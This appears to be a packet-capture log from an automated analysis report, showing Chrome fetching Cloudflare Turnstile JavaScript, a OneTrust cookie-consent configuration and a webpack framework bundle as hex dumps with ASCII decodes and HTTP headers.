6f 6e 20 72 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function rt(e,r){return r=r!=nu
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6e 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return nt(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function U(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var n={label:0,sent:function(){if(l[0
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var Ue=300030;var Ve=300031;var q;(fu
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(fun
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 Data Ascii: function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.s
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 68 3d 4c 28 4e 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 6b 72 2c 28 66 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c Data Ascii: ==Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,h=L(Nr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(kr,(f=(n=e.displayLanguage)===null\|\|n===void 0?void 0:n.toLowerCase())!==nul
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 68 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 68 26 26 4a 28 73 2c 68 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e Data Ascii: {return Be()?Ie=Reflect.construct:Ie=function(c,l,h){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return h&&J(s,h.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 56 28 Data Ascii: tion b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(V(
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 58 3d 22 68 69 64 64 65 6e 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 Data Ascii: X="hidden",f.style.overflowY="auto",f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.cla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	50723	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:04 UTC	663	OUT	GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json HTTP/1.1 Host: ot.www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:05 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"58546ca5d4eb4f4a13ab1bb5353b1bd2" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Robots-Tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T8EuR7E6WaRNoxHfHwCBceaJcX9maU0%2FkBiD89so7Zjqzb8foI%2BBTLM0QCIY5rJLZ0zH3t5EViMNnXgMz731zG74aXH%2F89q%2BeT9K8fcfU2j2K24Zw8HTGBLnLJA4jSQjH22SwQYx194%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=M2knNUzsVyT6oKQ87X2dsgSlU3ABLQWr.KAv7cUe.30-1729259285-1.0.1.1-2CJvx7WYfLbNOnyuWRDdAU.OV4tpc.4bo45NqGWcYvZNssyEmeu2dMnRuO9XMtRX49qWJazqaFtRHNoPYvdBKT.BuHjPES7Xke9qeFb_8Gk; path=/; expires=Fri, 18-Oct-24 14:18:05 GMT; domain=.www.cloudflare.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d48fbe36a134775-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:05 UTC	239	IN	Data Raw: 31 34 66 61 0d 0a 7b 22 43 6f 6f 6b 69 65 53 50 41 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 53 61 6d 65 53 69 74 65 4e 6f 6e 65 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 56 32 43 53 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4d 75 6c 74 69 56 61 72 69 61 6e 74 54 65 73 74 69 6e 67 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 55 73 65 56 32 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 53 44 4b 22 3a 66 61 6c 73 65 2c 22 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 63 72 69 70 74 54 79 70 65 22 3a 22 4c 4f 43 41 4c 22 2c 22 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 2e 32 2e 30 22 2c 22 4f 70 74 61 6e 6f 6e 44 61 74 61 4a Data Ascii: 14fa{"CookieSPAEnabled":true,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"202407.2.0","OptanonDataJ
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 53 4f 4e 22 3a 22 62 31 65 30 35 64 34 39 2d 66 30 37 32 2d 34 62 61 65 2d 39 31 31 36 2d 62 64 62 37 38 61 66 31 35 34 34 38 22 2c 22 47 65 6f 6c 6f 63 61 74 69 6f 6e 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 67 65 6f 6c 6f 63 61 74 69 6f 6e 2e 6f 6e 65 74 72 75 73 74 2e 63 6f 6d 2f 63 6f 6f 6b 69 65 63 6f 6e 73 65 6e 74 70 75 62 2f 76 31 2f 67 65 6f 2f 6c 6f 63 61 74 69 6f 6e 22 2c 22 42 75 6c 6b 44 6f 6d 61 69 6e 43 68 65 63 6b 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6f 6f 6b 69 65 73 2d 64 61 74 61 2e 6f 6e 65 74 72 75 73 74 2e 69 6f 2f 62 61 6e 6e 65 72 73 64 6b 2f 76 31 2f 64 6f 6d 61 69 6e 67 72 6f 75 70 63 68 65 63 6b 22 2c 22 52 75 6c 65 53 65 74 22 3a 5b 7b 22 49 64 22 3a 22 30 31 38 64 65 62 66 62 2d 34 63 61 34 2d 37 35 33 37 2d 39 39 32 Data Ascii: SON":"b1e05d49-f072-4bae-9116-bdb78af15448","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","BulkDomainCheckUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"018debfb-4ca4-7537-992
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 61 67 22 2c 22 61 69 22 2c 22 61 6c 22 2c 22 61 6d 22 2c 22 61 6f 22 2c 22 61 71 22 2c 22 61 72 22 2c 22 61 73 22 2c 22 61 75 22 2c 22 61 77 22 2c 22 61 7a 22 2c 22 62 61 22 2c 22 62 62 22 2c 22 72 73 22 2c 22 62 64 22 2c 22 72 75 22 2c 22 62 66 22 2c 22 72 77 22 2c 22 62 68 22 2c 22 62 69 22 2c 22 62 6a 22 2c 22 62 6c 22 2c 22 62 6d 22 2c 22 62 6e 22 2c 22 62 6f 22 2c 22 73 61 22 2c 22 62 71 22 2c 22 73 62 22 2c 22 73 63 22 2c 22 62 72 22 2c 22 73 64 22 2c 22 62 73 22 2c 22 62 74 22 2c 22 62 76 22 2c 22 73 67 22 2c 22 73 68 22 2c 22 62 77 22 2c 22 73 6a 22 2c 22 62 79 22 2c 22 62 7a 22 2c 22 73 6c 22 2c 22 73 6e 22 2c 22 73 6f 22 2c 22 63 61 22 2c 22 73 72 22 2c 22 73 73 22 2c 22 63 63 22 2c 22 63 64 22 2c 22 73 74 22 2c 22 73 76 22 2c 22 63 66 22 2c 22 Data Ascii: ag","ai","al","am","ao","aq","ar","as","au","aw","az","ba","bb","rs","bd","ru","bf","rw","bh","bi","bj","bl","bm","bn","bo","sa","bq","sb","sc","br","sd","bs","bt","bv","sg","sh","bw","sj","by","bz","sl","sn","so","ca","sr","ss","cc","cd","st","sv","cf","
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 31 35 61 31 39 37 37 66 63 37 32 65 22 2c 22 4e 61 6d 65 22 3a 22 43 68 69 6e 61 20 4f 6e 6c 79 22 2c 22 43 6f 75 6e 74 72 69 65 73 22 3a 5b 22 63 6e 22 5d 2c 22 53 74 61 74 65 73 22 3a 7b 7d 2c 22 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 7b 22 64 65 22 3a 22 64 65 22 2c 22 64 65 66 61 75 6c 74 22 3a 22 7a 68 22 2c 22 65 6e 22 3a 22 65 6e 22 7d 2c 22 42 61 6e 6e 65 72 50 75 73 68 65 73 44 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 44 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 47 6c 6f 62 61 6c 22 3a 66 61 6c 73 65 2c 22 54 79 70 65 22 3a 22 47 44 50 52 22 2c 22 55 73 65 47 6f 6f 67 6c 65 56 65 6e 64 6f 72 73 22 3a 66 61 6c 73 65 2c 22 56 61 72 69 61 6e 74 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 54 65 73 74 Data Ascii: 15a1977fc72e","Name":"China Only","Countries":["cn"],"States":{},"LanguageSwitcherPlaceholder":{"de":"de","default":"zh","en":"en"},"BannerPushesDown":false,"Default":false,"Global":false,"Type":"GDPR","UseGoogleVendors":false,"VariantEnabled":false,"Test
2024-10-18 13:48:05 UTC	1032	IN	Data Raw: 2f 2f 63 64 6e 2e 63 6f 6f 6b 69 65 6c 61 77 2e 6f 72 67 2f 76 65 6e 64 6f 72 6c 69 73 74 2f 69 61 62 32 56 32 44 61 74 61 2e 6a 73 6f 6e 22 7d 2c 22 47 6f 6f 67 6c 65 44 61 74 61 22 3a 7b 22 76 65 6e 64 6f 72 4c 69 73 74 56 65 72 73 69 6f 6e 22 3a 31 2c 22 67 6f 6f 67 6c 65 56 65 6e 64 6f 72 4c 69 73 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6f 6b 69 65 6c 61 77 2e 6f 72 67 2f 76 65 6e 64 6f 72 6c 69 73 74 2f 67 6f 6f 67 6c 65 44 61 74 61 2e 6a 73 6f 6e 22 7d 2c 22 53 63 72 69 70 74 44 79 6e 61 6d 69 63 4c 6f 61 64 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 54 65 6e 61 6e 74 46 65 61 74 75 72 65 73 22 3a 7b 22 43 6f 6f 6b 69 65 56 32 42 61 6e 6e 65 72 46 6f 63 75 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 52 65 6a 65 63 Data Ascii: //cdn.cookielaw.org/vendorlist/iab2V2Data.json"},"GoogleData":{"vendorListVersion":1,"googleVendorListUrl":"https://cdn.cookielaw.org/vendorlist/googleData.json"},"ScriptDynamicLoadEnabled":false,"TenantFeatures":{"CookieV2BannerFocus":true,"CookieV2Rejec
2024-10-18 13:48:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	50724	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:04 UTC	563	OUT	GET /framework-957a522640f43541ca6a.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:05 UTC	960	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:05 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"d711fa5a10b8d800843871fd03aeef22" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ftm3MN%2FbLZNOj4l7m%2BK7zJiL46WpKMXrAJ3x%2BzN3YfRPjv3BQKGR6%2FGP%2FKOrwIXQzUexmtCkdGjtiV%2F55yq8zEPZP3ZO45agq8IdIZk13dK3R4XTotqwsJaEGY8ua2DfUDx6lg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbe359e2486d-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 66 72 61 6d 65 77 6f 72 6b 2d 39 35 37 61 35 32 32 36 34 30 66 34 33 35 34 31 63 61 36 61 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 39 33 5d 2c 7b 32 36 39 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 74 28 36 39 32 35 29 3b 66 75 6e 63 74 69 Data Ascii: 7ff2/! For license information please see framework-957a522640f43541ca6a.js.LICENSE.txt /(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[593],{2694:function(e,n,t){"use strict";var r=t(6925);functi
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 6e 67 73 2e 22 7d 76 61 72 20 6f 3d 6e 65 77 20 53 65 74 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 6e 29 7b 73 28 65 2c 6e 29 2c 73 28 65 2b 22 43 61 70 74 75 72 65 22 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 6e 29 7b 66 6f 72 28 75 5b 65 5d 3d 6e 2c 65 3d 30 3b 65 3c 6e 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 6f 2e 61 64 64 28 6e 5b 65 5d 29 7d 76 61 72 20 63 3d 21 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 2c 66 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 Data Ascii: ngs."}var o=new Set,u={};function i(e,n){s(e,n),s(e+"Capture",n)}function s(e,n){for(u[e]=n,e=0;e<n.length;e++)o.add(n[e])}var c=!("undefined"==typeof window\|\|void 0===window.document\|\|void 0===window.document.createElement),f=Object.prototype.hasOwnPrope
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 6f 75 72 63 65 73 52 65 71 75 69 72 65 64 22 2c 22 66 6f 63 75 73 61 62 6c 65 22 2c 22 70 72 65 73 65 72 76 65 41 6c 70 68 61 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 5b 65 5d 3d 6e 65 77 20 68 28 65 2c 32 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 29 2c 22 61 6c 6c 6f 77 46 75 6c 6c 53 63 72 65 65 6e 20 61 73 79 6e 63 20 61 75 74 6f 46 6f 63 75 73 20 61 75 74 6f 50 6c 61 79 20 63 6f 6e 74 72 6f 6c 73 20 64 65 66 61 75 6c 74 20 64 65 66 65 72 20 64 69 73 61 62 6c 65 64 20 64 69 73 61 62 6c 65 50 69 63 74 75 72 65 49 6e 50 69 63 74 75 72 65 20 64 69 73 61 62 6c 65 52 65 6d 6f 74 65 50 6c 61 79 62 61 63 6b 20 66 6f 72 6d 4e 6f 56 61 6c 69 64 61 74 65 20 68 69 64 64 65 6e 20 6c 6f 6f 70 20 6e 6f 4d 6f 64 75 6c Data Ascii: ourcesRequired","focusable","preserveAlpha"].forEach((function(e){v[e]=new h(e,2,!1,e,null,!1,!1)})),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModul
